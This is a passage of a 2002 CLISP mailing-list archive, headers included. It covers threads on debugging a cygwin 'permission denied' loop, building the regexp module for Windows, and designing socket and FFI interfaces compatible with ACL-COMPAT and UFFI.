endless loop of "UNIX error 13" messages: > ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... > ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. > [1]> > *** - UNIX error 13 (EACCES): Permission denied > *** - UNIX error 13 (EACCES): Permission denied > ... > [1]+ Stopped clisp Most symlinks in the binary cygwin tar point to a not existing "c:\gnu\clisp\clisp-2.29" dir, which is wrong. The symlinks must be relative, not absolute! You can fix that manually, by providing a mount for c:\gnu\clisp\clisp-2.29 to your install dir. something like: $ mount -f -s -b "`cygpath -w $PWD`" "/cygdrive/c/clisp/clisp-2.29" -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From rurban@x-ray.at Thu Aug 01 04:54:56 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17aEXd-0001Fv-00 for ; Thu, 01 Aug 2002 04:54:53 -0700 Received: from torwaechter.inode.at ([213.229.17.132] helo=x-ray.at) by smtp.inode.at with esmtp (Exim 3.34 #1) id 17aEXW-0002rQ-00; Thu, 01 Aug 2002 13:54:46 +0200 Message-ID: <3D492187.8030400@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: dynamic loading of foreign libraries References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 04:55:03 2002 X-Original-Date: Thu, 01 Aug 2002 12:54:47 +0100 Hoehle, Joerg-Cyril schrieb: >>BTW, do you have time now to finish your dynamic loading patch? > Who would test that beside me? Is Peter still there? me? -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From youngde@nc.rr.com Thu Aug 01 07:09:37 2002 Received: from [209.5.151.11] (helo=mail2) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aGdy-0007XG-00 for ; Thu, 01 Aug 2002 07:09:35 -0700 Received: from atp (unverified [209.5.151.81]) by mail2 (Rockliffe SMTPRA 4.2.2) with ESMTP id ; Thu, 1 Aug 2002 07:38:20 -0700 Message-ID: <2033497.1028211231218.JavaMail.Administrator@atp> From: youngde Reply-To: youngde@nc.rr.com To: clisp-list@lists.sourceforge.net, rurban@x-ray.at Subject: Re: Re: [clisp-list] Trouble running on cygwin, Windows 2000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: E-mailanywhere V2.0 (Windows) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 07:10:03 2002 X-Original-Date: Thu, 1 Aug 2002 07:13:51 -0700 (PDT) Hello Reini. Hmm; I probably wasn't clear in my original post. I downloaded the clisp 2.29 *source* distribution, built it on Windows 2000 and then installed (make install). This procedure worked just fine, but running the newly build clisp executable results in the behavior I reported. I saw no symlinks in the installation (/usr/local/lib/clisp/...). Perhaps I've misunderstood your post? -- dey >On Thu, 01 Aug 2002 12:51:34 0100 Reini Urban wrote. >Young, David schrieb: >> Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin >> 1.13.12/windows 2000. However, after installing (make install), running >> clisp results in an endless loop of "UNIX error 13" messages: > >> ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... >> ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. >> [1]> >> *** - UNIX error 13 (EACCES): Permission denied >> *** - UNIX error 13 (EACCES): Permission denied >> ... >> [1] Stopped clisp > > >Most symlinks in the binary cygwin tar >point to a not existing "c:\gnu\clisp\clisp-2.29" dir, which is wrong. >The symlinks must be relative, not absolute! > >You can fix that manually, by providing a mount for >c:\gnu\clisp\clisp-2.29 to your install dir. >something like: > >$ mount -f -s -b "`cygpath -w $PWD`" "/cygdrive/c/clisp/clisp-2.29" > >-- >Reini Urban >http://xarch.tu-graz.ac.at/home/rurban/ > > > >------------------------------------------------------- >This sf.net email is sponsored by:ThinkGeek >Welcome to geek heaven. >http://thinkgeek.com/sf >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 01 08:06:32 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aHX4-0003ew-00 for ; Thu, 01 Aug 2002 08:06:30 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 1 Aug 2002 17:06:20 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 17:06:20 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] is regexp included in CLISP 2.29 binary for ms-windo ws (native, not cygwin)? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 08:07:20 2002 X-Original-Date: Thu, 1 Aug 2002 17:06:19 +0200 Hi, Arseny Slobodjuck wrote: >Joerg-Cyril> does the MS-win32 binary for 2.29 found on >Joerg-Cyril> sourceforge/FILES include the regexp module? >I think it doesn't (if it's mine). I never worked with >clisp modules in its native enviroinment (UNIX), so >was unable to produce such distribution. You mentioned >your article about clisp modules, is it ready ? I don't understand how UNIX, "native environment" or my article on modules come into play with having the regexp module in the MS-win32 native distribution. In March, I gave (hopefully) repeatable instructions on how to compile CLISP with modules/regexp/ using MS-VC++6. Everything needed (except 1-2 patches to sources found in the CLISP distribution) is either in the CLISP source archive, or your C compiler. It's trivial to do. Similarly, it's IMHO trivial to build CLISP modules with any C compiler on any platform where CLISP has been ported to, except that on UNIX you additionaly have those clisp-link shell scripts. I never built a module on UNIX. I have a rough idea of what these scripts do. What is open is whether my suggested alloca() patch to modules/regexp/regex.c could be accepted by some GNU regexp/Emacs/whoever maintainers. Another thing, which does not in any way affect my patches, is whether to replace the ~6-year old modules/regex.c by some newer GNU code. Did anyone ever complain about this module being old or buggy? I'll send you the current version of my article on modules in a separate e-mail. Regards, Jorg Hohle. From samuel.steingold@verizon.net Thu Aug 01 09:50:12 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aJ9Q-0005Z5-00 for ; Thu, 01 Aug 2002 09:50:12 -0700 Received: (cpmta 23500 invoked from network); 1 Aug 2002 09:50:05 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 1 Aug 2002 09:50:05 -0700 X-Sent: 1 Aug 2002 16:50:05 GMT To: "Young, David" Cc: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 References: <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 09:52:43 2002 X-Original-Date: 01 Aug 2002 12:50:02 -0400 > * In message <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> > * On the subject of "[clisp-list] Trouble running on cygwin, Windows 2000" > * Sent on Wed, 31 Jul 2002 13:00:05 -0400 > * Honorable "Young, David" writes: > > Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin > 1.13.12/windows 2000. However, after installing (make install), running > clisp results in an endless loop of "UNIX error 13" messages: > > bash-2.05b$ clisp > ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... > ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. > [1]> are you really getting this __after__ CLISP prints the prompt?! > *** - UNIX error 13 (EACCES): Permission denied > *** - UNIX error 13 (EACCES): Permission denied > ... > [1]+ Stopped clisp > > I'd appreciate suggestions. I cannot reproduce this, alas, either with the current CVS head or with 2.29 release on w2k. could you please debug this? 1. ./configure --with-debug --build build-g 2. cd build-g 3. gdb -nw (gdb) break OS_error (gdb) run ... (gdb) where and try to find out what is that illegal trick that CLISP is trying to pull. please also try CVS head. thanks. > Oh, and note that building clisp on my Vaio notebook (P-III mobile), > Windows 2000, cygwin, results in an internal compiler error for > gcc. But, I suppose this is a gcc problem and should be reported to > the proper authorities. please do report this. CLISP appears to be a major source for GCC bug reports :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Between grand theft and a legal fee, there only stands a law degree. From dyoung@bloodhoundinc.com Thu Aug 01 10:04:15 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aJN0-0001RV-00 for ; Thu, 01 Aug 2002 10:04:15 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g71GoX124902; Thu, 1 Aug 2002 12:50:33 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 12:57:33 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C3A@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'sds@gnu.org'" Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] Trouble running on cygwin, Windows 2000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 10:05:53 2002 X-Original-Date: Thu, 1 Aug 2002 12:57:32 -0400 Yes. The error is definitely occuring *after* the prompt. Also, after CLISP loads .clisprc.lisp. I'll follow your debugging suggestions and send a report when I have the data. And, I'll try the CVS head as well. -- dey -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, August 01, 2002 12:50 PM To: Young, David Cc: 'clisp-list@lists.sf.net' Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 > * In message <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> > * On the subject of "[clisp-list] Trouble running on cygwin, Windows 2000" > * Sent on Wed, 31 Jul 2002 13:00:05 -0400 > * Honorable "Young, David" writes: > > Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin > 1.13.12/windows 2000. However, after installing (make install), running > clisp results in an endless loop of "UNIX error 13" messages: > > bash-2.05b$ clisp > ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... > ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. > [1]> are you really getting this __after__ CLISP prints the prompt?! > *** - UNIX error 13 (EACCES): Permission denied > *** - UNIX error 13 (EACCES): Permission denied > ... > [1]+ Stopped clisp > > I'd appreciate suggestions. I cannot reproduce this, alas, either with the current CVS head or with 2.29 release on w2k. could you please debug this? 1. ./configure --with-debug --build build-g 2. cd build-g 3. gdb -nw (gdb) break OS_error (gdb) run ... (gdb) where and try to find out what is that illegal trick that CLISP is trying to pull. please also try CVS head. thanks. > Oh, and note that building clisp on my Vaio notebook (P-III mobile), > Windows 2000, cygwin, results in an internal compiler error for > gcc. But, I suppose this is a gcc problem and should be reported to > the proper authorities. please do report this. CLISP appears to be a major source for GCC bug reports :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Between grand theft and a legal fee, there only stands a law degree. From dyoung@bloodhoundinc.com Thu Aug 01 11:28:32 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aKgZ-0006IZ-00 for ; Thu, 01 Aug 2002 11:28:31 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g71IEk125633; Thu, 1 Aug 2002 14:14:46 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 14:21:46 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'sds@gnu.org'" Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] Trouble running on cygwin, Windows 2000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 11:32:24 2002 X-Original-Date: Thu, 1 Aug 2002 14:21:45 -0400 Ok, here's the deal. Sam, I followed your instructions precisely for building a debuggable version of clisp 2.29. If I run the resultant program from within gdb, or even strace, it works fine. If I run the exe from bash, however, the problem manifests itself. I'm using the "better-termcap" available in the distro, and TERM is set to 'cygwin32', although I've tried the run both this way and with stock cygwin. This sure smells of some type of console issue (?) NB: If I install a standard win32 version of clisp I can run it just fine from bash. Something's going wrong when I build from scratch in my environment. -- dey -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, August 01, 2002 12:50 PM To: Young, David Cc: 'clisp-list@lists.sf.net' Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 > * In message <23B38FECB4213142A4E017F783B3391D503C34@jarjar.bhusa.bhsoftware.com> > * On the subject of "[clisp-list] Trouble running on cygwin, Windows 2000" > * Sent on Wed, 31 Jul 2002 13:00:05 -0400 > * Honorable "Young, David" writes: > > Greetings. I've successfully built clisp 2.29 on Dell P-III, cygwin > 1.13.12/windows 2000. However, after installing (make install), running > clisp results in an endless loop of "UNIX error 13" messages: > > bash-2.05b$ clisp > ;; Loading file /cygdrive/h/dyoung/.clisprc.lisp ... > ;; Loading of file /cygdrive/h/dyoung/.clisprc.lisp is finished. > [1]> are you really getting this __after__ CLISP prints the prompt?! > *** - UNIX error 13 (EACCES): Permission denied > *** - UNIX error 13 (EACCES): Permission denied > ... > [1]+ Stopped clisp > > I'd appreciate suggestions. I cannot reproduce this, alas, either with the current CVS head or with 2.29 release on w2k. could you please debug this? 1. ./configure --with-debug --build build-g 2. cd build-g 3. gdb -nw (gdb) break OS_error (gdb) run ... (gdb) where From samuel.steingold@verizon.net Thu Aug 01 11:46:13 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aKxf-0001As-00 for ; Thu, 01 Aug 2002 11:46:11 -0700 Received: (cpmta 17102 invoked from network); 1 Aug 2002 11:46:05 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 1 Aug 2002 11:46:05 -0700 X-Sent: 1 Aug 2002 18:46:05 GMT To: "Young, David" Cc: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 References: <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 11:49:05 2002 X-Original-Date: 01 Aug 2002 14:45:59 -0400 > * In message <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com> > * On the subject of "RE: [clisp-list] Trouble running on cygwin, Windows 2000" > * Sent on Thu, 1 Aug 2002 14:21:45 -0400 > * Honorable "Young, David" writes: > > Ok, here's the deal. Sam, I followed your instructions precisely for > building a debuggable version of clisp 2.29. If I run the resultant > program from within gdb, or even strace, it works fine. If I run the > exe from bash, however, the problem manifests itself. wow!!! > I'm using the "better-termcap" available in the distro, and TERM is > set to 'cygwin32', although I've tried the run both this way and with > stock cygwin. This sure smells of some type of console issue (?) don't use this `better-termcap'. readline should work without it. it will be gone in the next release anyway. did you try CVS head? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Trespassers will be shot. Survivors will be SHOT AGAIN! From dyoung@bloodhoundinc.com Thu Aug 01 11:47:24 2002 Received: from [63.126.105.7] (helo=mail.bloodhoundinc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aKyq-0001O1-00 for ; Thu, 01 Aug 2002 11:47:24 -0700 Received: from jarjar.bhusa.bhsoftware.com (mail.bhsoftware.com [10.1.0.222]) by mail.bloodhoundinc.com (8.11.6/8.11.6) with ESMTP id g71IXi125772; Thu, 1 Aug 2002 14:33:44 -0400 Received: by jarjar.bhusa.bhsoftware.com with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 14:40:44 -0400 Message-ID: <23B38FECB4213142A4E017F783B3391D503C3C@jarjar.bhusa.bhsoftware.com> From: "Young, David" To: "'sds@gnu.org'" Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] Trouble running on cygwin, Windows 2000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 11:50:24 2002 X-Original-Date: Thu, 1 Aug 2002 14:40:42 -0400 I'm grabbing the CVS head right now. I'll also back out the "better-termcap" as well. Stay tuned... -- dey -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, August 01, 2002 2:46 PM To: Young, David Cc: 'clisp-list@lists.sf.net' Subject: Re: [clisp-list] Trouble running on cygwin, Windows 2000 > * In message <23B38FECB4213142A4E017F783B3391D503C3B@jarjar.bhusa.bhsoftware.com> > * On the subject of "RE: [clisp-list] Trouble running on cygwin, Windows 2000" > * Sent on Thu, 1 Aug 2002 14:21:45 -0400 > * Honorable "Young, David" writes: > > Ok, here's the deal. Sam, I followed your instructions precisely for > building a debuggable version of clisp 2.29. If I run the resultant > program from within gdb, or even strace, it works fine. If I run the > exe from bash, however, the problem manifests itself. wow!!! > I'm using the "better-termcap" available in the distro, and TERM is > set to 'cygwin32', although I've tried the run both this way and with > stock cygwin. This sure smells of some type of console issue (?) don't use this `better-termcap'. readline should work without it. it will be gone in the next release anyway. did you try CVS head? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Trespassers will be shot. Survivors will be SHOT AGAIN! From ampy@ich.dvo.ru Thu Aug 01 14:31:20 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aNXM-0003Ci-00 for ; Thu, 01 Aug 2002 14:31:12 -0700 Received: from ppp67-3640.vtc.ru (ppp67-3640.vtc.ru [212.16.216.67]) by vtc.ru (8.12.4/8.12.4) with ESMTP id g71LUqmj020976; Fri, 2 Aug 2002 08:30:53 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <312321628.20020802083339@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] is regexp included in CLISP 2.29 binary for ms-windo ws (native, not cygwin)? In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 1 14:33:56 2002 X-Original-Date: Fri, 2 Aug 2002 08:33:39 +1000 Hi, Friday, August 02, 2002, 1:06:19 AM, you wrote: >>> does the MS-win32 binary for 2.29 found on >>> sourceforge/FILES include the regexp module? >>I think it doesn't (if it's mine). I never worked with >>clisp modules in its native enviroinment (UNIX), so >>was unable to produce such distribution. You mentioned >>your article about clisp modules, is it ready ? > I don't understand how UNIX, "native environment" or my > article on modules come into play with having the regexp > module in the MS-win32 native distribution. I tried to make it and didn't succeeded. Regex package seems don't appearing in memory image. > In March, I gave (hopefully) repeatable instructions on > how to compile CLISP with modules/regexp/ using MS-VC++6. > Everything needed (except 1-2 patches to sources found in > the CLISP distribution) is either in the CLISP source > archive, or your C compiler. It's trivial to do. Sorry, I forgot about it. In march I was deeply in win32 stack handling and didn't read it. > I'll send you the current version of my article on modules in a separate e-mail. Thank you. -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Fri Aug 02 00:33:16 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aWvx-0003Of-00 for ; Fri, 02 Aug 2002 00:33:13 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 2 Aug 2002 09:32:53 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 09:32:53 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jsc@dataheaven.de, kevin@rosenberg.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] idea about how to design CLISP's socket functions (or CLISP's FFI for UFFI): target ACL-COMPAT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 00:35:53 2002 X-Original-Date: Fri, 2 Aug 2002 09:32:52 +0200 Hi CLISP users, Jochen Schmidt wrote in cll about >Re: Question on using Scheme on Large Projects >As maintainer of ACL-COMPAT which is used by a webserver (Portable=20 >AllegroServe) I tend to disagree. It's a complete Socket API which is=20 >portable between ACL, CMUCL, LispWorks, MCL and OpenMCL. Chris Double = has=20 >written a library which makes that API accessible for Corman Lisp too. >Please if you have looked at it and still have issues about = interoperability=20 >then contact us and we will see what we can do. We had a discussion recently about socket-connect-timeout and other = socket issues. Maybe it would be useful to design future CLISP socket functionality so = that it can easily support ACL-COMPAT? I had similar thoughts about the CLISP FFI and the possibility for UFFI = to support CLISP, especially about how to define a module (aka foreign = library) as a set of foreign library functions. What matters here is = how to reference the module by short alias instead of system and = environment dependent pathname. The thought was: why should I care about this, since UFFI already = includes such functionality? So the new goal might become: "How to = supply just enough functionality so that UFFI macros can easily map = onto these low-level primitives?" This is easier to achieve than invent yet another high-level foreign = library declaration and management system. I believe similar thoughts could apply to providing new socket = extensions to CLISP. The driving question could become: "What low-level = functionality must be there to make it easy for Jochen Schmidt of = ACL-COMPAT fame to support CLISP as well?" Regards, J=F6rg H=F6hle. From rurban@x-ray.at Fri Aug 02 02:08:26 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17aYQ3-0006j7-00 for ; Fri, 02 Aug 2002 02:08:24 -0700 Received: from torwaechter.inode.at ([213.229.17.132] helo=x-ray.at) by smtp.inode.at with esmtp (Exim 3.34 #1) id 17aYPo-00058N-00 for clisp-list@lists.sourceforge.net; Fri, 02 Aug 2002 11:08:08 +0200 Message-ID: <3D4A4BF0.8050404@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] is regexp included in CLISP 2.29 binary for ms-windo ws (native, not cygwin)? References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 2 03:23:53 2002 X-Original-Date: Fri, 02 Aug 2002 10:08:00 +0100 Hoehle, Joerg-Cyril schrieb: > What is open is whether my suggested alloca() patch to modules/regexp/regex.c could be accepted by some GNU regexp/Emacs/whoever maintainers. > Another thing, which does not in any way affect my patches, is whether to replace the ~6-year old modules/regex.c by some newer GNU code. Did anyone ever complain about this module being old or buggy? BTW: I recently worked on a PCRE FFI module for cormanlisp, which can be easily ported to UFFI or CLISP using regexp/regexp.lisp. The replace function doesn't work yet as expected (in spirit to perl s/from/to/ig...) My server is currently offline but it should be somewhere at my cormanlisp src dir. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From a.bignoli@computer.org Fri Aug 02 02:10:57 2002 Received: from panoramix.vasoftware.com ([198.186.202.147]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17aYSR-0007Uw-00 for ; Fri, 02 Aug 2002 02:10:51 -0700 Received: from [212.110.54.10] (port=2719 helo=shark.fauser.it) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 17aXtv-0007BE-00 for ; Fri, 02 Aug 2002 01:35:11 -0700 Received: from ghimel.fauser.it (root@pool2-ip21.fauser.it [212.110.54.116]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id KAA16622; Fri, 2 Aug 2002 10:34:31 +0200 (MET DST) Received: from dalet.fauser.it (root@dalet.fauser.it [192.168.1.2]) by ghimel.fauser.it (8.11.6/8.11.4) with ESMTP id g728Tq800236; Fri, 2 Aug 2002 10:30:29 +0200 Received: (from aurelio@localhost) by dalet.fauser.it (8.11.6/8.11.4) id g728TfN30949; Fri, 2 Aug 2002 10:29:41 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Message-ID: <15690.17141.856527.386142@dalet.fauser.it> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 7.03 under Emacs 20.7.2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Problems with latest CVS version of comment5.c X-Spam-Status: No, hits=-4.4 required=7.0 tests=IN_REP_TO version=2.21 